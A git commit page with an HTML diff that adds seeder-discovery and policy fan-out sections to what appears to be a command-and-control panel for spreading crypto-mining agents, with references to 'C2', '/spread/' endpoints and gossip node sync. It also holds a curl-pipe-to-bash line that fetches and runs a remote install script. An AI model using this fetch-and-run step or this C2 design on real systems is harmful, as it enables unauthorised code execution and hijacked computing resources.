Add Cloud Map seeder discovery with VPC Lattice operator templates.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents poll AETHERFORGE_CLOUD_MAP_ENDPOINT to sync know_node gossip; deploy plans attach route_via DNS hints for standalone operator registries.
This commit is contained in:
@@ -235,6 +235,46 @@
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="policy-fanout">
|
||||
<h2>EventBridge policy fan-out (degraded mode)</h2>
|
||||
<p>
|
||||
When C2 is unreachable, agents poll a lightweight policy snapshot or receive pushes via your own
|
||||
EventBridge relay. No mandatory AWS signup — copy static templates or export a configured ZIP from Emberwake.
|
||||
</p>
|
||||
<div class="install-grid">
|
||||
<a class="install-card" href="aws/cloudformation.json">cloudformation.json</a>
|
||||
<a class="install-card" href="aws/eventbridge-rule.json">eventbridge-rule.json</a>
|
||||
<a class="install-card" href="aws/lambda/index.js">lambda/index.js</a>
|
||||
<a class="install-card" href="aws/README.txt">README.txt</a>
|
||||
</div>
|
||||
<p class="fine" style="margin-top: 0.75rem;">
|
||||
Poll URL: <code class="inline">/api/v1/public/policy-snapshot/{token}</code> — includes
|
||||
<code class="inline">genesis_version</code>, <code class="inline">hospice_list</code>, and
|
||||
<code class="inline">vaccination_lanes</code>. Authenticated export:
|
||||
<code class="inline">POST /api/v1/spread/policy-fanout-export</code>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="cloud-map">
|
||||
<h2>Cloud Map + VPC Lattice seeder discovery</h2>
|
||||
<p>
|
||||
Standalone operator templates for <strong>AWS Cloud Map</strong> registry JSON and optional
|
||||
<strong>VPC Lattice</strong> service network routing. Host the registry on <em>your</em> HTTPS origin — no live
|
||||
Lattice account required on the command deck.
|
||||
</p>
|
||||
<div class="install-grid">
|
||||
<a class="install-card" id="cloud-map-bundle" href="#">Operator README</a>
|
||||
<a class="install-card" id="cloud-map-registry" href="#">registry-endpoint.json</a>
|
||||
<a class="install-card" id="cloud-map-lattice" href="#">lattice-snippet.yaml</a>
|
||||
</div>
|
||||
<p class="fine" style="margin-top: 0.75rem;">
|
||||
Agents poll <code class="inline">AETHERFORGE_CLOUD_MAP_ENDPOINT</code>; atlas gossip syncs
|
||||
<code class="inline">know_node</code> from healthy instances. BGP hints use
|
||||
<code class="inline">route_via=seeder.svc.prod.local</code> when Calibrate sets
|
||||
<code class="inline">cloud_map_namespace</code>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<footer class="fine">
|
||||
<p>
|
||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||
@@ -274,6 +314,14 @@
|
||||
var dl = document.getElementById('btn-dl');
|
||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||
|
||||
var cloudMapBase = 'cloud-map/';
|
||||
var cloudMapBundle = document.getElementById('cloud-map-bundle');
|
||||
if (cloudMapBundle) cloudMapBundle.href = withSuffix(cloudMapBase + 'README.md');
|
||||
var cloudMapRegistry = document.getElementById('cloud-map-registry');
|
||||
if (cloudMapRegistry) cloudMapRegistry.href = withSuffix(cloudMapBase + 'registry-endpoint.json');
|
||||
var cloudMapLattice = document.getElementById('cloud-map-lattice');
|
||||
if (cloudMapLattice) cloudMapLattice.href = withSuffix(cloudMapBase + 'lattice-snippet.yaml');
|
||||
|
||||
var bash = document.getElementById('oneliner-bash');
|
||||
var ps1 = document.getElementById('oneliner-ps1');
|
||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||
|
||||
Reference in New Issue
Block a user